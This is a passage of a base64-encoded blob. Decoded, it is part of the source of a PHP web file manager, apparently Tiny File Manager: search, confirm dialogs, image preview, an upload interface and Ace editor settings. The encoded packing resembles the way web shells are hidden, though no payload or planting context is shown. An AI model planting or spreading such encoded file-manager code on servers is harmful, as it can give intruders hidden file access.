7XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKFwiT09QUzogbWluaW11bSAzIGNoYXJhY3RlcnMgcmVxdWlyZWQhXCIpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY29uZmlybURhaWxvZyhlLCBpZCA9IDAsIHRpdGxlID0gXCJBY3Rpb25cIiwgY29udGVudCA9IFwiXCIsIGFjdGlvbiA9IG51bGwpIHtcbiAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgY29uc3QgdHBsT2JqID0ge1xuICAgICAgICAgICAgICAgICAgICBpZCxcbiAgICAgICAgICAgICAgICAgICAgdGl0bGUsXG4gICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IGRlY29kZVVSSUNvbXBvbmVudChjb250ZW50LnJlcGxhY2UoXC9cXCtcL2csICcgJykpLFxuICAgICAgICAgICAgICAgICAgICBhY3Rpb25cbiAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgIGxldCB0cGwgPSAkKFwiI2pzLXRwbC1jb25maXJtXCIpLmh0bWwoKTtcbiAgICAgICAgICAgICAgICAkKFwiLm1vZGFsLmNvbmZpcm1EYWlsb2dcIikucmVtb3ZlKCk7XG4gICAgICAgICAgICAgICAgJCgnI3dyYXBwZXInKS5hcHBlbmQodGVtcGxhdGUodHBsLCB0cGxPYmopKTtcbiAgICAgICAgICAgICAgICBjb25zdCAkY29uZmlybURhaWxvZyA9ICQoXCIjY29uZmlybURhaWxvZy1cIiArIHRwbE9iai5pZCk7XG4gICAgICAgICAgICAgICAgJGNvbmZpcm1EYWlsb2cubW9kYWwoJ3Nob3cnKTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICEgZnVuY3Rpb24ocykge1xuICAgICAgICAgICAgICAgIHMucHJldmlld0ltYWdlID0gZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IHMoZG9jdW1lbnQpLFxuICAgICAgICAgICAgICAgICAgICAgICAgdCA9IFwiLnByZXZpZXdJbWFnZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgYSA9IHMuZXh0ZW5kKHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB4T2Zmc2V0OiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5T2Zmc2V0OiAtMjAsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZmFkZUluOiBcImZhc3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjc3M6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogXCI1cHhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiBcIjFweCBzb2xpZCAjY2NjY2NjXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmFja2dyb3VuZC1jb2xvclwiOiBcIiNmZmZcIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnRTZWxlY3RvcjogXCJbZGF0YS1wcmV2aWV3LWltYWdlXVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGFLZXk6IFwicHJldmlld0ltYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgb3ZlcmxheUlkOiBcInByZXZpZXctaW1hZ2UtcGx1Z2luLW92ZXJsYXlcIlxuICAgICAgICAgICAgICAgICAgICAgICAgfSwgZSk7XG4gICAgICAgICAgICAgICAgICAgIHJldHVybiBvLm9mZih0KSwgby5vbihcIm1vdXNlb3ZlclwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwicCNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBvID0gcyhcIjxwPlwiKS5hdHRyKFwiaWRcIiwgYS5vdmVybGF5SWQpLmNzcyhcInBvc2l0aW9uXCIsIFwiYWJzb2x1dGVcIikuY3NzKFwiZGlzcGxheVwiLCBcIm5vbmVcIikuYXBwZW5kKHMoJzxpbWcgY2xhc3M9XCJjLXByZXZpZXctaW1nXCI+JykuYXR0cihcInNyY1wiLCBzKHRoaXMpLmRhdGEoYS5kYXRhS2V5KSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgYS5jc3MgJiYgby5jc3MoYS5jc3MpLCBzKFwiYm9keVwiKS5hcHBlbmQobyksIG8uY3NzKFwidG9wXCIsIGUucGFnZVkgKyBhLnlPZmZzZXQgKyBcInB4XCIpLmNzcyhcImxlZnRcIiwgZS5wYWdlWCArIGEueE9mZnNldCArIFwicHhcIikuZmFkZUluKGEuZmFkZUluKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlb3V0XCIgKyB0LCBhLmV2ZW50U2VsZWN0b3IsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcyhcIiNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlbW92ZVwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwiI1wiICsgYS5vdmVybGF5SWQpLmNzcyhcInRvcFwiLCBlLnBhZ2VZICsgYS55T2Zmc2V0ICsgXCJweFwiKS5jc3MoXCJsZWZ0XCIsIGUucGFnZVggKyBhLnhPZmZzZXQgKyBcInB4XCIpXG4gICAgICAgICAgICAgICAgICAgIH0pLCB0aGlzXG4gICAgICAgICAgICAgICAgfSwgcy5wcmV2aWV3SW1hZ2UoKVxuICAgICAgICAgICAgfShqUXVlcnkpO1xuXG4gICAgICAgICAgICAkKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICB2YXIgJHRhYmxlID0gJCgnI21haW4tdGFibGUnKSxcbiAgICAgICAgICAgICAgICAgICAgdGFibGVMbmcgPSAkdGFibGUuZmluZCgndGgnKS5sZW5ndGgsXG4gICAgICAgICAgICAgICAgICAgIF90YXJnZXRzID0gKHRhYmxlTG5nICYmIHRhYmxlTG5nID09IDcpID8gWzAsIDQsIDUsIDZdIDogdGFibGVMbmcgPT0gNSA/IFswLCA0XSA6IFszXTtcbiAgICAgICAgICAgICAgICBtYWluVGFibGUgPSAkKCcjbWFpbi10YWJsZScpLkRhdGFUYWJsZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhZ2luZzogZmFsc2UsXG4gICAgICAgICAgICAgICAgICAgIGluZm86IGZhbHNlLFxuICAgICAgICAgICAgICAgICAgICBvcmRlcjogW10sXG4gICAgICAgICAgICAgICAgICAgIGNvbHVtbkRlZnM6IFt7XG4gICAgICAgICAgICAgICAgICAgICAgICB0YXJnZXRzOiBfdGFyZ2V0cyxcbiAgICAgICAgICAgICAgICAgICAgICAgIG9yZGVyYWJsZTogZmFsc2VcbiAgICAgICAgICAgICAgICAgICAgfV1cbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoJyNzZWFyY2gtYWRkb24nKS5vbigna2V5dXAnLCBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgbWFpblRhYmxlLnNlYXJjaCh0aGlzLnZhbHVlKS5kcmF3KCk7XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLm9uKCdrZXl1cCcsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKGUua2V5Q29kZSA9PT0gMTMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZtX3NlYXJjaCgpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKCcjc2VhcmNoLWFkZG9uMycpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZWFyY2goKTtcbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnNcIikub24oXCJjbGlja1wiLCAnYScsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICBsZXQgdGFyZ2V0ID0gJCh0aGlzKS5kYXRhKCd0YXJnZXQnKTtcbiAgICAgICAgICAgICAgICAgICAgJChcIi5mbS11cGxvYWQtd3JhcHBlciAuY2FyZC1oZWFkZXItdGFicyBhXCIpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTtcbiAgICAgICAgICAgICAgICAgICAgJCh0aGlzKS5hZGRDbGFzcygnYWN0aXZlJyk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtdGFicy1jb250YWluZXJcIikuYWRkQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgICAgICAkKHRhcmdldCkucmVtb3ZlQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgIDxcL3NjcmlwdD5cblxuICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkgJiYgaXNzZXQoJF9HRVRbJ2VudiddKSAmJiBGTV9FRElUX0ZJTEUgJiYgIUZNX1JFQURPTkxZKTpcbiAgICAgICAgICAgICRleHQgPSBwYXRoaW5mbygkX0dFVFtcImVkaXRcIl0sIFBBVEhJTkZPX0VYVEVOU0lPTik7XG4gICAgICAgICAgICAkZXh0ID0gICRleHQgPT0gXCJqc1wiID8gXCJqYXZhc2NyaXB0XCIgOiAgJGV4dDtcbiAgICAgICAgPz5cbiAgICAgICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1hY2UnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgdmFyIGVkaXRvciA9IGFjZS5lZGl0KFwiZWRpdG9yXCIpO1xuICAgICAgICAgICAgICAgIGVkaXRvci5nZXRTZXNzaW9uKCkuc2V0TW9kZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhdGg6IFwiYWNlXC9tb2RlXC88P3BocCBlY2hvICRleHQ7ID8+XCIsXG4gICAgICAgICAgICAgICAgICAgIGlubGluZTogdHJ1ZVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIGVkaXRvci5zZXRTaG93UHJpbnRNYXJnaW4oZmFsc2UpO1xuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFjZV9jb21tZW5kKGNtZCkge1xuICAgICAgICAgICAgICAgICAgICBlZGl0b3IuY29tbWFuZHMuZXhlYyhjbWQsIGVkaXRvcik7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGVkaXRvci5jb21tYW5kcy5hZGRDb21tYW5kcyhbe1xuICAgICAgICAgICAgICAgICAgICBuYW1lOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgIGJpbmRLZXk6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHdpbjogJ0N0cmwtUycsXG4gICAgICAgICAgICAgICAgICAgICAgICBtYWM6ICdDb21tYW5kLVMnXG4gICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgIGV4ZWM6IGZ1bmN0aW9uKGVkaXRvcikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWRpdF9zYXZlKHRoaXMsICdhY2UnKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1dKTtcblxuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJlbmRlclRoZW1lTW9kZSgpIHtcbiAgICAgICAgICAgICAgICAgICAgdmFyICRtb2RlRWwgPSAkKFwic2VsZWN0I2pzLWFjZS1tb2RlXCIpLFxuICAgICAgICAgICAgICAgICAgICAgICAgJHRoZW1lRWwgPSAkKFwic2VsZWN0I2pzLWFjZS10aGVtZVwiKSxcbiAgICAgICAgICAgICAgICAgICAgICAgICRmb250U2l6ZUVsID0gJChcInNlbGVjdCNqcy1hY2UtZm9udFNpemVcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICBvcHRpb25Ob2RlID0gZnVuY3Rpb24odHlwZSwgYXJyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyICRPcHRpb24gPSBcIlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICQuZWFjaChhcnIsIGZ1bmN0aW9uKGksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT3B0aW9uICs9IFwiPG9wdGlvbiB2YWx1ZT0nXCIgKyB0eXBlICsgaSArIFwiJz5cIiArIHZhbCArIFwiPFwvb3B0aW9uPlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkT3B0aW9uO1xuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIF9kYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWNlVGhlbWVcIjoge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImJyaWdodFwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNocm9tZVwiOiBcIkNocm9tZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjbG91ZHNcIjogXCJDbG91ZHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3JpbXNvbl9lZGl0b3JcIjogXCJDcmltc29uIEVkaXRvclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXduXCI6IFwiRGF3blwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmVhbXdlYXZlclwiOiBcIkRyZWFtd2VhdmVyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImVjbGlwc2VcIjogXCJFY2xpcHNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdpdGh1YlwiOiBcIkdpdEh1YlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJpcGxhc3RpY1wiOiBcIklQbGFzdGljXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNvbGFyaXplZF9saWdodFwiOiBcIlNvbGFyaXplZCBMaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0bWF0ZVwiOiBcIlRleHRNYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRvbW9ycm93XCI6IFwiVG9tb3Jyb3dcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieGNvZGVcIjogXCJYQ29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJrdXJvaXJcIjogXCJLdXJvaXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia2F0emVubWlsY2hcIjogXCJLYXR6ZW5NaWxjaFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzcWxzZXJ2ZXJcIjogXCJTUUwgU2VydmVyXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXJrXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYW1iaWFuY2VcIjogXCJBbWJpYW5jZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjaGFvc1wiOiBcIkNoYW9zXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb3Vkc19taWRuaWdodFwiOiBcIkNsb3VkcyBNaWRuaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmFjdWxhXCI6IFwiRHJhY3VsYVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjb2JhbHRcIjogXCJDb2JhbHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3J1dmJveFwiOiBcIkdydXZib3hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ29iXCI6IFwiR3JlZW4gb24gQmxhY2tcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaWRsZV9maW5nZXJzXCI6IFwiaWRsZSBGaW5nZXJzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImtyX3RoZW1lXCI6IFwia3JUaGVtZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtZXJiaXZvcmVcIjogXCJNZXJiaXZvcmVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVyYml2b3JlX3NvZnRcIjogXCJNZXJiaXZvcmUgU29mdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtb25vX2luZHVzdHJpYWxcIjogXCJNb25vIEluZHVzdHJpYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibW9ub2thaVwiOiBcIk1vbm9rYWlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzdGVsX29uX2RhcmtcIjogXCJQYXN0ZWwgb24gZGFya1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzb2xhcml6ZWRfZGFya1wiOiBcIlNvbGFyaXplZCBEYXJrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRlcm1pbmFsXCI6IFwiVGVybWluYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRcIjogXCJUb21vcnJvdyBOaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9ibHVlXCI6IFwiVG9tb3Jyb3cgTmlnaHQgQmx1ZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9icmlnaHRcIjogXCJUb21vcnJvdyBOaWdodCBCcmlnaHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXNcIjogXCJUb21vcnJvdyBOaWdodCA4MHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidHdpbGlnaHRcIjogXCJUd2lsaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aWJyYW50X2lua1wiOiBcIlZpYnJhbnQgSW5rXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhY2VNb2RlXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhc2NyaXB0XCI6IFwiSmF2YVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFiYXBcIjogXCJBQkFQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWJjXCI6IFwiQUJDXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWN0aW9uc2NyaXB0XCI6IFwiQWN0aW9uU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWRhXCI6IFwiQURBXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYXBhY2hlX2NvbmZcIjogXCJBcGFjaGUgQ29uZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFzY2lpZG9jXCI6IFwiQXNjaWlEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc2xcIjogXCJBU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc3NlbWJseV94ODZcIjogXCJBc3NlbWJseSB4ODZcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhdXRvaG90a2V5XCI6IFwiQXV0b0hvdEtleVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFwZXhcIjogXCJBcGV4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmF0Y2hmaWxlXCI6IFwiQmF0Y2hGaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYnJvXCI6IFwiQnJvXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY19jcHBcIjogXCJDIGFuZCBDKytcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjOXNlYXJjaFwiOiBcIkM5U2VhcmNoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY2lycnVcIjogXCJDaXJydVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb2p1cmVcIjogXCJDbG9qdXJlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY29ib2xcIjogXCJDb2JvbFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvZmZlZVwiOiBcIkNvZmZlZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvbGRmdXNpb25cIjogXCJDb2xkRnVzaW9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NoYXJwXCI6IFwiQyNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfZG9jdW1lbnRcIjogXCJDc291bmQgRG9jdW1lbnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfb3JjaGVzdHJhXCI6IFwiQ3NvdW5kXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NvdW5kX3Njb3JlXCI6IFwiQ3NvdW5kIFNjb3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NzXCI6IFwiQ1NTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3VybHlcIjogXCJDdXJseVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRcIjogXCJEXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZGFydFwiOiBcIkRhcnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkaWZmXCI6IFwiRGlmZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRvY2tlcmZpbGVcIjogXCJEb2NrZXJmaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZG90XCI6IFwiRG90XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZHJvb2xzXCI6IFwiRHJvb2xzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZWRpZmFjdFwiOiBcIkVkaWZhY3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlaWZmZWxcIjogXCJFaWZmZWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlanNcIjogXCJFSlNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbGl4aXJcIjogXCJFbGl4aXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbG1cIjogXCJFbG1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlcmxhbmdcIjogXCJFcmxhbmdcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb3J0aFwiOiBcIkZvcnRoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZm9ydHJhblwiOiBcIkZvcnRyYW5cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2hhcnBcIjogXCJGU2hhcnBcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2xcIjogXCJGU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmdGxcIjogXCJGcmVlTWFya2VyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2NvZGVcIjogXCJHY29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdoZXJraW5cIjogXCJHaGVya2luXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2l0aWdub3JlXCI6IFwiR2l0aWdub3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2xzbFwiOiBcIkdsc2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2JzdG9uZXNcIjogXCJHb2JzdG9uZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2xhbmdcIjogXCJHb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdyYXBocWxzY2hlbWFcIjogXCJHcmFwaFFMU2NoZW1hXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3Jvb3Z5XCI6IFwiR3Jvb3Z5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFtbFwiOiBcIkhBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYW5kbGViYXJzXCI6IFwiSGFuZGxlYmFyc1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhhc2tlbGxcIjogXCJIYXNrZWxsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFza2VsbF9jYWJhbFwiOiBcIkhhc2tlbGwgQ2FiYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYXhlXCI6IFwiaGFYZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhqc29uXCI6IFwiSGpzb25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJodG1sXCI6IFwiSFRNTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfZWxpeGlyXCI6IFwiSFRNTCAoRWxpeGlyKVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfcnVieVwiOiBcIkhUTUwgKFJ1YnkpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW5pXCI6IFwiSU5JXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW9cIjogXCJJb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImphY2tcIjogXCJKYWNrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiamFkZVwiOiBcIkphZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhXCI6IFwiSmF2YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImpzb25cIjogXCJKU09OXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNvbmlxXCI6IFwiSlNPTmlxXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNwXCI6IFwiSlNQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNzbVwiOiBcIkpTU01cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqc3hcIjogXCJKU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqdWxpYVwiOiBcIkp1bGlhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia290bGluXCI6IFwiS290bGluXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGF0ZXhcIjogXCJMYVRlWFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxlc3NcIjogXCJMRVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF